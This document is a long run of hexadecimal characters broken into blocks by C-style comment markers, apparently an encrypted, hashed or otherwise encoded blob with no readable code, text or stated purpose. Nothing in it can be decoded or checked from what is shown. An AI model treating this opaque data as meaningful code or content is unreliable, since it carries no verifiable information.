526723298d3ddb6ba224f1b83f7fb3eb37af82283de0a7c3476e602e9cc5583a2b7ea680b842eb3df2e8ae16506f2d3926f3bca496915248d9e8ace76a69b8996b8d26b90ac4ad4f679a0606ead71fa5b4ad254acf9c24d59af3bbb9697efe03530c43197171cbd707a9f8dd98b68c79fe2afea47bf107e71d800c3bb7101eccaa133cc0e51edc8d8eb10fff684504dc51fe3772828f38f7a71079e9947008803a61d42b612839cc9a4830793bb7b3df809b336f47db8cdcb00d96995320b2b85bff35c7b76110900985e724f57e7b5d408267aae804dc520cbc9c8507c9b1e694c83d81fbd414f8e366850a7eaef5fadb98aac6f099959c94035f4c5c63551cce589a7586018b798596ed08cebef00ba85ff12f8bb282db6dcccaf728fdb1b38bb00a235a87bca3deb1160bdc2a1df5a1511cdee195ed4fc849a2cd134d4cc238cf40e13f0e16977c29b239d3d9b6174281492aa687194925d03531a00f2fc5c01515f40939e293063b6fa15999af4cb6c8607701c5e78a10eb05e15e99fcd707bf87d6a3595212a791541442c698369673961243216172837652a3457d1d7fb573f29c2b5052d45cdd9da65538fc3a83dfdf53199962e85a926dcbacacf415e186616111ed44c9c7b06e67a39b4d40dd943166c620213b0c3cc8b78e9ae974b7124084ee2fbfa2ec8959859b272e123cf8a1332b6fb79eb6eb5163f42e4fe6fdd5df7063058433509a24031726cf20b30cf1ca391b72aeb263b*/
/*7f9cbd2cdc4cd4f716e0dd8a799fc01b7625880dd66a87ef2c35d06df8f1f6673ccea526e17ede6d3c6b7b51913e5631939f2142e55c49cff7ac64e9d6927fe019dff5f4d6b92b6a03719311f0dc5fa83465e0545d82597d41efdaf1a1ee8653db3e3a52a2f4a0b5e78ecb8cddf9fdbe63f685d2990e215a8b4ffe08ff1e2b493778e994ca50589b165ef4f5e22d543bd20ea0f2c736caf50a6637e503bef9a76ce4f02d44149fae99bedcadeaac3a4c65dd5de8590369f2666699cc0237167c596ffe6d57274151b72026574a1d7172d1805d440fb87ee69aa2ff4b110acf85a2ff6cbd9488d9213d4cd6e32af62eeba3010e3f57c6af3eee4a5770e8c7e7f56541c912eb07555065e8304950a5bd81c73bbd40661986c61fb84175af8a55d31d6cee7c0a5c55b18ad8d9eee663eaab99ae0bc3ba7ae7a135a89aa34bb1fe66776446a010c560006c7c74846a3888dd17f76ef003c8b7daff1880e0474af7ee03bb08ca3b153e6c4af6f177a916b500fb4b9460f16c38db00b319933a6fe46ffeba6507e1a2758e09f0fbcc43e3e7613df0125869159f8b33e10662387a70b79bace929074663f283904a99dcbcd86c1d0105804735a4518148455ff2a25c5376ad6c04fff1de0896d69d0d2728b85dff898bd4300828c416678479aec05d42261b5a36f3b5ebfc04cd9b2ea64629201b75a0d61644000a84d4687e425147669be40e9f11aa40eadf86412d69fa3d3ca97cdcbdf59911b76fa4fb426767fc20b064c3a607cce358fa9582e4ecc29f1f30d3c433153339710498a40a7d49e9c6d50a46adcccda2fe4a444f94b5cf7d321ec18f48a960c17ff5d598fb1569c2dc3c712023335eb3331f74b2069877bc0d9d5fb8c970644853882416f7d80def7effe1d23cc9d53f20978b1a455a86c8c0fdfa16511512f5f7514bda048fd330376776c9f64e25e4fc4309535c19bc24d78400da0e913631820d6719ab7420dec109ec2ed87d836a63db8198725f97bb73601d34ca962b284019582195b8c81293a478981d48b13979e74ee6b6e4e3880ff67c728d76fe3084bfe156ae72399d5b5aad3c7e845e9d4c3525ccbc869df4dd04d7806f5a98c5698376ceb1960c81a42061b19fb18c74eba66219c9993bcf8aa06e54d02e934872b14f7b98a9345a79db002806aecae916ab163ff21056013f0548d515bc7c4ba93b14add6738e1c63052347407dc151d0d94d1e061090fc77200091eabc9115dac0c025400537442a5044f54e38c72e8320621ef279cc380da304f4f1f50e2f1293bd1051d3bd4cb94ec3e5163551d097a17c7f2ea340369440d991ad4caf046c4fb80582e1a2107f577422ceb0a6ffc909b3440c4d82ac8e9822e845813ed00f966ab4ec52575417a40d22c5b08ec2571cb37a741bd7f011bb9c70e144d57375160a67e40c6d813b8d52e1a5aa7f392918d238a04337d270bbdbc5aecbf28f862c26653005553810a67ad38f45d05041e6eef842a1232948c834a4080b6db7dfcb108bd683a5e2987ff97b3f1650bc3be1cd6bd6febe102f9747a9acdf057be3d875dae8ea86d6eb4f3af61ec232b47c06dca683281c5dcb6594c2274aa835bbb67b0486b9b725cc1b1d8c2a90460e30a853662503b87be81f208a77509d7182675c836513c377221c5252c1f3c046dae0b30038c232c42e29049da5ebc5deaea46952496a8204f2af0a108a0c700eeed37584ec951936543fe72ab4fea4c521d3801e635530470994f7a9c548a46e9d544da31fa1266621300bc79b668ed1caf0c7ffaddae65811eb82e5fc334d2139e3530669b355610b4604329ee989a3764b1f946d8d72c299cbdb3ce019b7fdd2d55bfc051127a957c3faeb5179096a620ef5eb3496133ce516f2be5f3d01bd47e1339387f5ee0855c097c42279280ea4eb55635e4d14ae1a9fbfb1da9686fba94ca8de5232c60d7ec4a34760b0fbe4714e3583bc709a298fd425a71cf42c69474f77a03c6485bc9079028ea1eb2859396705996eeb3c2dcdf4e9ed4f91bd3d2bb73ff9f1dcaa439c72306f394789f97fc327c5977787a44b0e7ccb7cbc6d26dd2f2c0382515f6618da69a775dff307ebc7923445fb06b9c735bed0084a9d8c5b89cb8dfc2062cda277d64a71d8dc2dc608dee4b886285582ffeb6c3acd2d5fc9b2ba9b1d4cc0dd1c17d61b3902815f9917d2bc541c8b5c5437dc7b8c3618f0ac43390571c49dd7220e0add5f69187680f042d3fd38c7832b25e45f650f973c8b5643e4c328ea02c907456a10ba0894fa848704d9e3772aa2699f7f91748c9224e5be68e58702e17613528b0fcb7aa43082925cfde60d6db0e96c3805cfe50f1401a6531915cfefd683da3ae4cbb014e4182c75b1c859a0881534ac148ea76563e073f9bede38bac87c04c4bcd4dc3236e0945edbaf442975cc321839fc51778f2daf23188c9868f27d7febb1a720ef115b20c833e7a21f7cad64af2db65a3a298d512c87061223254074ab8439ee20270b3d534560ca3d571b19b18c5a4831bc5021039120f0af835496b61d1cf52224061f14f06bb5b8967c8514298a328139777fb925b6f33634389221c517ac482a6875e1f87a99d91939d7df264592839766205b5ef7f4474d3f308bbd1577d3a237e830e867cf728f47bccb6f0de063e4ce818deb5660d93381490bebc38170ebf30a2f6bf0973011dca6cdea0a839572ebd44748a44cf8c2d0a0b612b42416494cab51de1f313f4c8bf2ef641985cef0570a4139a24092420f3e39016761fd09e1786d78e6f38112cb21f2bcdd6de2da918ebbffc08105b0*/
/*f76bce19867bb8192de93bc6f41e05274d2922e9e40d4f06b12c6f61287110e715e8f005be5711631f5aab0021806f532a8b0c0742d682de394ec301687ab56fa770e8c8d68564094b122b3ce70735c176c6df81f637dde947423db58a3412d2c9b80ff75820ec86cd76e7d4137eb40e5d4b23b1517e68b4dd4e77d906fa3b2fb0c9fa52c4ca5e1d6a51bf536aac5ef616015ec8b90d51fa71e31e6808bfa3920d0be969a4a7d9e7caeab3eaf3abb1c7b4a756fc49be96c16a4fd74ee3d59bf101316ea12a19855e20b17b93f05d57d7da17fb3fd7583de89100e98f923d958acf9088373c072d61f45a84cf335f4ae2b005b62c9b2f8df65d29167cebcaa298ea6fdbd45c12cc8e535ded52dfd0fb53e62f653148769764e540cd219fc1fb97b7628610e613c1ba70af1a0ddbfdc4d0d84c6b2db25fb274450cce60b7a96b4e431f2bd4704205dffe90bbb7ca48ef96573a6cc8a42625946b57e2844b189fb7b72b638631c22a036d33333718e48cfbd1f5bfb9a80464321b7c688fdabe19222c17610ea9a2d439ad20847a6562db6300ad55330de3b7e5384762ee22313eb53aa741e52ab0fb1ff61079b7572b73b6550126e10acfd331ee35c10c44ff92e3cadc848b8f66f17e9f04dc0303483b356db021ce36d6b83953cdea90488d713b4a5665cddeaece8750415676680344bf42b50a69a1e00ba6652584a6a11e9f1593f3ad162bcad0ed83556b8061f9bdd8ee85b1d743c31166ee53a259cc0873aaaed45c85534cde690a776e01b29a45523050533d6975eda8cb5856450f69c28ff801f929f512b1057c9c96d883d5619cd619e804ba7619d665b8a601356cc8661b9632456cac8c9f54a3c6c2cc6943bc733367b6ba8dfe2e1389c7adfbb3515899cf56fee9164ab980bc3a2d82fc4c29b6abeea177d0f1ef8ab024bf27de5e2ca1384d2f738019057bc3fa78c39d511c6009a7d112d98ebe3f006033ddb5daa67425bf5935723ed7fdac85ef2ac654d9630ed31c0bce97fe16ec51ef355fc8c33542a8a07a17f4f884783e099186b9b88a9413ebe117095bcf2b4077ea2e92c7f465d54115f017062fe9570b633784dfb5296992fa209eeeaa6916684d14cbd1bd85d31a342f376eaa2eaf6a5a7db19911b7ab46faf3735df35c0953dcb46431c736c2322a3fc26b679ccc12600808c29604465314e02189ad3f0f01afba2bded01c1aa0ece312a04dbc1b1643e6b34fb97c4c6d84100d253166a6678bcd67cc57869ce824e7700fb60c49a44583bb0144b073fbc160c90afc8de1a9a97b53c0592a7adbd1092428cbe371d3911a7a3e6e223e8fd2e5ecc7d51c83ca05db97e8df4259d30d963f0232a79ff9ac3970df1f037be1c0644f507d7054bebaa63dd03b023e7e3380e91dd0a4546e5724f3f6d057ecc488dc1fff0fffefef4519752099974beed4448ada04911d413f0810f9e6b95438d546a22cd60bbad70d170e5512be455414b89eb1d732a56cb7bc1a539bc461ced758fdee1c2b25dc89441a78c006872b4ec3c06563c50cd3f4e38369f378a766ee356c243f097632a3cba23ce418c3e099e3fba182f3a21f600a4d06f65b1671fb4e13a68b28c441968d9d18078ae39e1721df7881dba51f338e7814751718012f486320bbce8a1bb8c6de3c6d6d1889efc7ecd86e583be34fd1793464f984acaddddfd2c8aa125ccbd185cd1678ecc2dfb41e3da5d7909a34a9c90a93e3994311b827d5f1c5df433bd5d433c839216a1fbdd348e5448d8b732a8ba4a5adb336f892a93c66f1989756056d05568888f6143db06a3883af716927d87fb3e170a2bee190667c87e7c5683378508c36a7f2f30ecb0c01d4f558151523b9f0ccdd78299e3e05a4fedf46806da5f25d65707d1ba8113fddc38ac55f4e812e2883c211f307934aacc95f9d3e2851780e02c3fe3dda57e91468a1704903cd907531461040c24a184021754dd5ae5d93fc3efacc9e1127505d881a97073ff511519803a40de5e66ca15236a00ff2bc71798e66cc70dc267171a00bf2972e5a4fd12d243eae4c3973283c3a348508a03d0f3ba4d5829114776ffb47a4afaeada14659057cc86fe700dc00899c8a4cbff416ff3edc7ef267c54e20af56d47e6ac8cd8beed14e4c235935db500120fac0ec223f2018e4580074c59b14090409e156ce12f118aad8d1669ab2834dddcdd828e07849da419fb3ac22edf9a0f0e79e738c10470a6ea037230503e5fd714a693c689395b16f2e6ead750123d39faa538052d70d3055c8c1ea5917f881a935e592dd21fc941091269307bddd62581f334657fa37ada23ed17d560c2ab8f5090f602c4c4d40aef9cc1df496f053e8ee45adde5a1f1021c48f8924723cff2df0190b94c933709931afbf05826b1ddcc7ace7dd861f5d830e98c174d550797835b1577426c3982a74250d96a4bf2793fee3ca7e7ad2079b446dc3ab7e39adffb9c0bde80360257f4fedda7cbfc878a09bc28c4aa106a7924b8d26b66623c0a6b7660d5c884bed8e44e0c207ecd05a968e61b096d565ed044f5daf554f7b87af555d582396633cb78ec0491538b326d3edb5b12e319cdf28bc3c7b44b996e3eff8a0214a4b53a4f3484fe488f2cddb87e338a5702167c8028506b961a368b21be93e209a5407dc633cff0e519b5c9f0ac5a7cc939c5694786062f812d47798b7539548718e97bdc52d54fb19361ccefc132e398a24806d23d7a4496f12383eb0c977f6b76130e5afbc4e25032d85a6df3d43a5dd7060e2934143e00861eec4464d6439fed13b540d8898c54bc1d1de667c405c*/
/*ad7269cbd488f8a1fc804897c8c556570045fc8b12becc4b4aadd2e1a3c921730b703faed4d48440101d4a86a510f578482ff4f2f96f4a0b9ff30a260a9dc8169245e42ae047b2c65e96209a9301f4ddaaf154b4f40d505516e47aceed8a86eb891a5e0d497308e239d632502fb50233bebc2b5d305bb7819e289def6752a8a155e0520a26c4b9dd72917c94b403b1b95be55e45b64647f9c3804e8fed2045d31bfacc78efa1edf38983c350703405d5b1891a61c2c13236dacba8680d8080f720c01ce52e4fcb3df8979d9ded057d0cf4e60aa3aded6fb1cacc9bd185d23c06eaab92c7e81c8b205617141c90198fe748f067f4d63fef2db2e6b905a88fd10059eb28c00090fcc4b3e2da8fa0a23a2075d2f571052098d088487857aa80ece97ccae7ca8bfcd1702051ba4191322784f46a5643b0e00c030201722e56424deeee3c0d42bff4012ac6c1ef16cfe991e13a8cb1945357b9dd47f678f9d1f23b625b9acd89f0b28254ec86f77406374cf6f15d5e83afc9e4a67a68d6852a873ac2b66850c4d4e22456feefc5f28bad2425524672210c1832038da9a957d0f9e1bc76a2f7f7d96418cf16bf81e16adc45fcc2ee2cc48db879824338c735d393a42b6da9b5ebe8d65ad0e32f6a4d6ec665ea9830cbc12ecf494c7fd499345d2c9c55ebded1b68857a32b6e5c6205b9b7d6aa704fd8ebad4f61c695f0a6a5a549da2fdf78b117f2b82ced9fe99b5e0a803bd07cdbe0d89ce683e9b4288adcd44079ca06a544d1fc694325883c35de19c7a9c25ae04ed408a5f00becd0eda93ce04f4f5273d5f0578193242501b87ca789d41d77bf3a6b6af471bc9402981e01f4a6233a6b18d713d63cfa261bd43f83bdc1f78e1c3ab76e5e91ee7658a7276a197c8febf8fca6c3bf0fd75d6ead03d9f2c0d0ca2e1f041967ef0351074289553527501b60e4ed02375783b99dd8877f9fc92887ef2b629d86799343d6e7ff84fb52908072db9fcf20fa16278fdd4f3da890c0e0894f38ef7fd14638d00fb4ebc438b03319d221defb4f682eb4f6548a1ed2ba21e7cce84c65fec56055f5a67fe767b7061a28b97e4009a5bbdd38ce9866b873b228c0554fc5150f38b6620bb85ebbf81b0e409fdcde2fa72db2c07f78dfe8ebf81e14030119e3e3a027f922fea7799a51db1961c83773b9ec6dc716a1f49c0986b58cfc9ea469d453a88fcffe9c1b962c94fd382e114f0b1d786d60a4c8ad1dd5f76e37348c8de9a9a03bed46a3f7c61468d26b918746939d9fa9e67d0510683133f51bb12f714d7a704e85695f0e0d54b3c655aa3da6fb7bfacac1d87dec6d4e242fa01cdfffa3e122257348cd1a21886cab18acf76d066129d5b8410fb467f04d2769613d9263df6643203169a581f5fd7c86b9e4b8dcc8b2fe69f1b04db1a9487389c8855a85ed2038f71c6d9c7edff8213e3e092cd7070b7021cb62aa85e664544f802c32195787ef23ed2cc1623c624ceb0ebe68f1a5b2307c63323e04c4f42731b0c3e59f0bb05e2de41ef83d049041abf86c5ecc7a27b5c97c0c6c41077ff8965b3ac0aaaed323f8fa444a6d72bb47cf7d084e38cdd56c12b42629d2e24d8dbe7ff4445aa315dc87cdd67a3ed01f801ff31253a71d3b5ebc3fdf4dc94de00167e8c800c68c18ca01730be3db1ab49ef114157cc915c9a80a74df0319b88ba5c0872ab20960a48a0074091d5d1291ba2463f2bf18fd21e062c53b7fe845b8f726aea0dd6125488bd86f5351ab62027e863c5438cd3b7255f8aae77719e26d995c92189914899eaaabcb1c803a362090addc67aad6ee33c57c5a79003a80382dc2a119c4ff74e2d97267dc1a86a81b58db17c62ac03e143a940aa19ba6b033adae9a0a2909ffcf5745ac6593d3019f36924a28e6a4438547a1184c60d14e5ec5e7a1562e81154de45bb7aa4a58992b96de5980975b50073bca4c7682d2bc8f065f10d83f849e0be25d3a11c9dcccd30b0ac8e2b669c0f09f144ff25d9def3941753140df653ee1a09d50a31b6cc6a66df6225fab61fb4d29f763096e0d3306db743b57847d7b7eb12584865ecb7262086f85f79a52bb3e83210d204539029946faba0df3955e4c77defc3bbede0c06dd7ad649d62ff4633485f41af7b000919b8a2a18cc1da719438013d5e42907f55cc8231ce834ca2154d2e05e2a5f069664ffe61c8750985b594686791e427ebf9090c7a4494ade3cd5cc50ca52112eaa5820d0562ae7817563916164883cf1334cb70135983dd8f1b154232dbc60fc744f96935324a8e46ee9b81fddd3d71147faadfc95e79c561efeeff2bc3ebf963f19505ba4933121575b46c04915f9d28612601f6e5bdad1328adce46b141ca1dcf1b5fb097dc6cc7c40c53ecdb26f541e65a6d28d4f85a16e776287a6ab7be149f2255eb819072468b2b19a25e63f7f6dc32bc463d245d79bab4afc873adcec7b416b983a31a1a0916f1a93452268fc434f601fa28baa75ae029004bf155e90b251f81ea56c742eda60f735442104d9674bfe661a7f6cf61d644ecb0a72f114c44e57a8927701185d3c9ad7a0c048ce55281470886c16d9bf6d6ce4cd83bda2c3bf4eeec723d793a2b6e7befc9180ed75a813827b53455ff39e373fbca6d76bc42096ab0671c1a13e34c7cb55852fcd03001b1a72d113897528a4deea87a537bb16dcabb30511bcd7426d52146aa83b7e134268268c893e32528b8a74513d4dad0cbf74e6fea68c0918827fb6d28aa52c36510c6ad82bec9665198815f879402a2b5dc13d97d30e6d398ebfc5aba7e31f4ed5fb7506b35388dc016effdafc*/
/*13c4cc2ebac60caf68d0151e3fd02b7e1427f71120c72019c1992bcdfbe2c78b1d45065235f427d90c64df74b898f24bd71b2926ad8bd5aba4d6f21569a76a67c4cb4b7290eb65dfe99890301687b88d37c8e9841fdffb5beb944735854718c68c91e4d0011849ace14ba2176d7bbc2a25a3d329f377a0b27ede0111b08ec4562c0d76344d1652534cf765a1051aee7947151d7a461c19ca1071e44ea29f8636bf4d68884b1888189b6a2a90f7c9fec286a8c68d3520caf1711a56fe81a89272f3171de56ff243b12cea77d491d5e8520feb152dfb9ad01f639d634e366d2ac3cb1b1e13aab56aef382c27d41b06ebda36b5faed36fe11ea5cba28f380171d02bcda847af0132be71f3bc1db504e9c789f642fa2b2d32715d5f76d6739aaf997d01c41f2c52a7670d767b355ae87ad98ba757635b666b19dfd339082f4a848b9918faa5e9e31126c856174b3465baeea88a0814fc2f6ed3e0289373c0718cc2f1683f3338855b624f88fdc4185f98eb27734a830a634baaf5ea091098a90f7a3d8b97209d6850bf526fda91ff7cfa3e7cbb932882c2adfcfa51377a19b396d4c3840736413db94479d82e6ac62d17e33677bfc386ad8031309c29496ce8f3840b7f5afb1c487dd5c5b6f75d6dd9e641d74313554093e631af3ed517dc9df174f2a12b78df7ab3070e07c7bdecb7a0047128897ac25d970ba6c176bf6150227fd180656bf5c2633b3751b400067b662e1c2d22e834a19c9389ce65169f074398882c1d2a6428cc7ddf3aef23204b693ef5a8ebdbdaf1af3555cb73b33d93482500047deb0768756867adbbebe7023c8655f6267e07bf6ceff810c1626ebb8b24d65e5fb58c326d599d88583dcadec219f689026316e7f3779622195bd432a8af2844e472e81e8501f2f9b4421e022fe3b1e31c4d67e0b45e6de281e090a3739e6b551a9f73e4b7b256183f64accb63eccba0cd72afb6d2b15f88bf3143526d7118df23f4c6d84957b3d33cd175ba9bd343cddb28a1522d3c714bb2068f840708c74a58e743865055e9ddcb8413edce6e1efe08252f2ab59b77f149534818bc59e24cfa03ac461d2ff85fbd2e894fa2bad54548eeda3492f189f9498537e0f1edc083cd5725ceba5496ace8d49a87337d1ac02908e8e1fdcdb397f3c6a6a063dcc546975d29290e3965d970321d54b2c3814c3d73634ac861737422b8c1d77e2705b12e37bd8cfc9d7a1eae91d9f77491c4a3685f32b1d6d9879f54b73dc0482b4872c14131e5c8dc23702d3a70f03f4a4d33d050ce397c069dccd8dbbc9d314c1f32444e1601e1c2c29f0829d54009b503f833af8088d292de1e8661e4914f93163849f3a4c79550e576d6b8c2eafb01229955b054326d7350da553c8078d63c8ecd7c3f3cd72a34b892453a6b6196db59fa873c63866ad12136da6c6683a22dfb757711b39ad874a89cd7f2d98a9a87ed34369168436bf65076e74a6dd1e21791411a978318bd9703a50f99f7b6589c76dbce9c7a60f3c37cb58d3ae6231a7713fc88ae5932c35d4dffe6b30446d2d1be6c676d462f00bd3952c550967ee43fca16e1587f5f502968643de1eb8397427b2f0e43bda12fff3437d698428c125c571372b50a896793349feb45a830e7b6503574980f4a52ccced555fac3adc4a07caf75cfaefaea590b5df9830ce82d66307e4645163aebb1134449db8aa7dcdcb97018c63f45e4cb271731b0a56a228cf33729217f3c79b8d37cb134a9eef3f7529e0954a86d54e09b2880ccdfe89de6013b55585552050a04cae4242b3d6f30844b4c0323efcfc4814eb071e1376d06d2c6ff394281d1bff47bb6bdd44aaa0dc8a3566cb359d91dfd99c1a472b82627ced9d86162bbccbb8e7cfbab59043b2c8fc94d193fa22515b4503b84be2b1c0fcfac11b81b10f9ff0f06db2e85ac85399a6cb3cb1ef9977f0fb4a10cc66e460ee592956405a4ed68e2ae7d3e42e40d1f000166cc80824debf5aed3832d842aaec8551cdaf4d4af0501c334d182c00f3464453946044bca2897435e29963e1e1c98306dde8b7f54b3b4bde3b9229af469d1b517fb91a408313e619fe8371336b85a466f7b46f3c9751f82ad34051530645c1fbc8223525fbb82880e54d61e427ff8d95d88b8e81179d85f6bdb188d23503d07c6f90ce65b6509bf1e9e657a98895e12e49032e83a12e5684ce9c4da575708b3d586ed5c2f3e48e2a482d4102e1817542b2ab78e3413cf4d16c40924a42839c4a5c3a96e86540e54dd3f9a5864c5f5726a339d59486bbd84f781f549ecbdec12e383a951e16d0c7fd7b2ce4653d2a184429dab2e6c3ed8c056ec7e2831f125b9ea21e78ff4b3b2fbbe8e12cb9f81875906026dae7e9e6bc963d30efeb076e9504745363fc02625485c71c94e4898c95efec85f87f6201e8148a4791592325ed441f516c0a2a5504bd8f77ee8d4d158e85157624e672001aa68b4792c927712f15783d962f02da70f26e2b8f80f7adc1105c64e8bd4655b66fac4edf549f906d11314a1f3f3d0a2c960a069440d592743e404cc949bce33cdf61da778e53f2164049389f01235dce19f2555c502e32bfb91176d643fc61822b0c2e5ea06dbb8605893b31046a5f3d4fc3f5939cecc0363378987adb4da61b90e92965059a3644290071a57ba630188b057b184a593291888240ff2235bf0ca0c17a1dae8550edd8f07ddbd098f993872bc18a542d06d5630e263f7dd3b042bc8d16083422ff9420d10fdddfa89cf11dd9d2fe589908e308eaa6550df2e494c6bfa44859e0e94912b7e498b9323e080a53533dba8da8*/
/*3f06d79f9a017c381be80333226b270ba1681239f12f0c0d27924985c04b440b01ea9a26b032ad97e8ee0bba6be3dd5779e0b55595ceff8f78bfd9bd57fc12000cd3cb243f265a5049b0a77f13eec0ad2d2f69fb69adaf9e83b6981ca3cfa302dc2f61ee37645296c927968957840a99090858a4aeb93db4e1fe3126fac9153d479ae9d85043c2de11d384d02daf1c55c7ec5578e985827e57fee022e372cdc94b510566ac18b3d0041903e538453e06ef26b5f1d6e345ca326d3c679400d18ea0c1f6703b3ec8228ffabd2d8bbc0ba0dbd0b94c2a3f61e223c237451b865a21f44fa9ebddf7ed45d31706ff979642c6fd14e8b875005844ca3309221c0c5c9cfb0a3f7ef15c07ee9f081086fcbb1ef01fe0d8415c48739335d8798fb2e00a388e5215226691c204a4a7551f8ed472fa01a7cb2e3eed0891998faa432dd5afbd5447586322f8af40068112349ba8dd8f8aeb42bdcbbbc015126b13a5f1958afa6ff94c07234d9f8b67abc4d7181587ee8588ddd8c6b18a9fc84629187dc68dcf7f2c788b796132820da260e18503c6720db2f89b34bc69949574937f4d060692fb46a91c62b4de9468fff4fe3e4a88e0c553817012807bab6a806c578b3ab3005f2e92a4814a9b01e0137b46ea4dfad473e1fe68330e143e224e6f78927109275be23c69ab95d0bad63b7a1dee6db759fb064056f0895c7ae343e897f58be80dba920abfad87d7ebb47e6a4e37dabc7155a6fe176b3442605ed107266008d6650b2a4edea8fa005fe62459fe09c9662ff9755ff062d3e89cfe0920844365ba6c04d74141d5f713e8d15c3d944a79dfef5cbe3ca72755f2884453cef9a9bc8d38a499a20568b76daaff700a33897b9ac03cb096941ed7d43d2c486e2922531c5797b0a109a08512c7f3f5c134625aa20b8f8a47676c0a88f4599c992e5282bdf2a652aa8a08f1eef66f3169851eab6d5ac6588293e680e2daf9165cdadb08a7ff3c5b8b32222df6df411d066f7127a407a16cb7548a380551a6e398ff4a71d2fdedc869682359ee283d7eb0ebc4ab33cdb3d78a84fe001a69dce61fe2b97077bf7d9f9d4be4865ad489284cbf7d416a0e9cd7b5236713531fcfb3de0ae3b200bece101663e951f36820ad893826dd632341dbc96e811077d2429dde6a963e915313ff2f2af27b73ee378296e1fb5eab1766d336881b1c91adce3abfe1a2705e7669d72fa1179f091d75909ce34b3c4d5a29cc208b81317f4aa3fb9b60cfb9b94664deaa83746065eaacb24c5210d75cd1cf9e7b5d230d190ff7303257e3caf064f5f1f14074da4a5ac6565d72839dcc15a6402c66282eda7ab2e83aecdd12104bac246f9a08eb25136eed64406e0844ae1ccf60fe93f1ef39b25eb482365da7504bd4c1cf8735c280d0dd13e51239fe9143a5826f6c8f80e75c1381ce23227ec838d170c1a47a0c7f80d1670962bb9d100494ecb08e3e7cfe7111a2a30b2430d12f52d1b0d24ab8b868895fdf194630d4057f51bc733257698ac844b340c780bef455c438b32e771752488bf0c99e29f260b8bf0e867a6d8fe0f7ed9b01e5c3b9bf4f59f9b30231cf32ac0641a15f44631fb2f57a63b4d4371988944cfaa6763efe654230a5f89d8137969e0183bee734d53715baff10363e3c0d0987afe9de6399c5f85009b496dc93bf8fb40b275d99129c2af797850fc09d2131907344d727b6967e83851e3058cdc2c3cd615a583186a995bd7a268cf9f2e1453282c173ace09746cf9a0e4ce3fe4266888b3a31b3d12a6afa9f2107024c101718c2bb093beb922b304b868a7ff0a51f14c2998a4f791529687a53522dc0be58cd1a53bfaabd075e1830704dcb45a56cbc59e6516fe79d2f075de0485f4e84989cb8fa61078774f537985e67f937a48d9385b05bd14e2af07a907abd365a2da94406e323e19b7d1f781c0a255c77223a4ff81648056b327ed59996dddcef433bce4e94ada2566da9d719a3e4ab99d8bbf19cf2279ef74f94a096f0b9e77339e500d7499b352e6ad87aeb9db5d778d46360dc25828360282319725c9c4161fa971062f2d30a220ed3334b3dda7e9708bc0287d012b748acffef1096655a69693c0f424f2ce3bcf447f12ade74284dbba6a9eb45bc943921252aeec686cb63325f518f318a7fe0fdaeea0517610092232bbcb9630a52b901c1d3af47b492b9a610c73e14b28ebae621ad7d80724f4ed46e94defe05712df171c14251d5618dd87f77d3855229b92d8b885c15bc353a42da62d90696d35dc6e83f5c0187949ddc805b7cb8b7eadc09b9cd6aa3620d26809985999f64036f8baf3bdafcbc8d171c8b831a8025a76d6ec3ac7b526ef54cc95dea792e3a7b716c710583421318b7eca5bb80a1a6ff1a7c9eef9167c0e9c0a2780d632bfa856da7d3adabe06d46a3ad48aee91e089b635d230e8e70eb1d5842e2c9f14beeda6c3c302798b4da18396dd24d06a1bb0f74792deed89e701fb57823843b248f37d778e96e7b0f6576acf8f1307b1d5119e577c84e5cbc519a9dd83d1c564658876a68396ee7df09529f6c8495861681f229a8dc5e44dcbce8b4d15abf5ce55c25bc8a4a667bdf76165d97022d29e7dfe60443d8015912b17d41aaf349d97ba9afece2be48c427b6b0cc6624847dd463028fb04a25cdbf0a932c8f4f5717da3a8308af0d0db32dd66f098440de709126a82a81e24e64ae8d7dc8d16e07cf4a23f20f98c8c3bebdc0982e5cad0c81d621dc34760b3b51620b9e1c7536a9df3ec0f033fc8fca9aa7f917757503f22c520c3ece5682ad1415d8ae8c87a55c4d740e42*/
/*fd111f1b3f8749ebb976148574c482b792ad93942c7102dd9505dfeea07b5895c17da91ae07153cb5fcacadfc1497c721014d7bf470670dbde7568cc449bfc8e66e846ed53fb251d79e626cb56f750d007272a4493f9e4d77284b2ab73b6ff22186603dc374635b959c2fceec700d0ba61df6c18b9a14ad3c85957798d245f809b6074bd896dd580794adfacc1d60cdb80f00bc17abb5663b16d5d340ab3341307f94196f5799ebfefdda8c595eb23ffce4223270380f4df1389d17df2f05eb79a5927fd8977ea665c89d81b47025580907e85a4754bdcdf657f35a2f78ad8a2b95a5237f63d93d61c2bbe83cbe7ad21512127300dac2afef6d9bbb640901fefa6ac9350f7ab2d8326cb15aceea97083ccbd4db02ff7199a8270f606263f1717f4f1b49e7a07225a8d0f1c9e43bb937905b4276b8d193c947d3e1f6ec0025bd20165946c458a97fa8f47e33ca0be83d629781f31a983ad820c7a9ab58de8ad97733d7573265da51168b1558c12df3765a1202da78de72ecc34d8b99ce621f5eb33320503815962946e4ef76f487295cde46855972b5c37a95ff498d5ddca87c539ae59ed7635424a6392d8b2c52b9fe55e540025dbc782862bad89a0335e31fd60ddf2420f50f131d357574138d483edbabe1f03e48f9d5b95b1089e90a7fb37f5f0f120d13215831ff1246b994f0cfde55bd52f06f8a56fe5dc13c1a59af4d738a81f96b3db2a7d48a799ef8fde821f8b42ceaf45bbdacc26c25fc77f05acf1020d7f35e2bb9e60cabe0b7d961e5a41c388d03591f12b5cacf209eb84af5a049db610987dfc7d8495b15a6ea9839227ce54b3ed4e5c0363ad48a324829f9d6eb34ec0c47e3a1b13d073f8fc30c1d599bb7b9b357ed4956b8179e1c1799c2b2e9cb03e82d29f871395306286d376252e8b2321def0efca446210a613cffb0eaeb3e9bf94b027749858e44d7be39dfbf969bac48f4591a1d84db9c8270da53a2aa2a730fcef3439673987ba0a81b859da6bc28cbc7fef7606b3f7da700921d2f87596029bf9c2fc506b0e08c1f395b47d641c48c50e431664dab1892d99d86c1f83cb3a4dc96d11e6ca898c18dea8eb061cffe327275614cca66fe80cf083cee98b300615a0f5277ca41e42fdbadcf14efce50fc8b1bae9888b28135fc1a90aebd865ce95960410fe1d1833b515005a13fb5326dfa002a75773b3cdf54330a2f273e03681f4d06d8356b4e4888b60a846ed5f89b27aae99277650288765bc0c5be632ce573f7d2ad8bb4c98348c5452dca2de793be29896c2d193fde4baea4a73fcdf2648e15971b0ba67edc97038f64395f0e92a6f09943f1f335f1ebdb5bc2b3e82d8cc1041f60cefbcf7e8feaa54b0c26a1b60ceb0afc703b348d8e4decc7ccbfb7d52398f55d6ba5f432200fb4f5e065afeeeab67c7bf556201aae37936f2984d2287b11b2b8ef9c99f2a8855c3ba73001bc9b2479704ab0aaed54ec684364f6db11f040d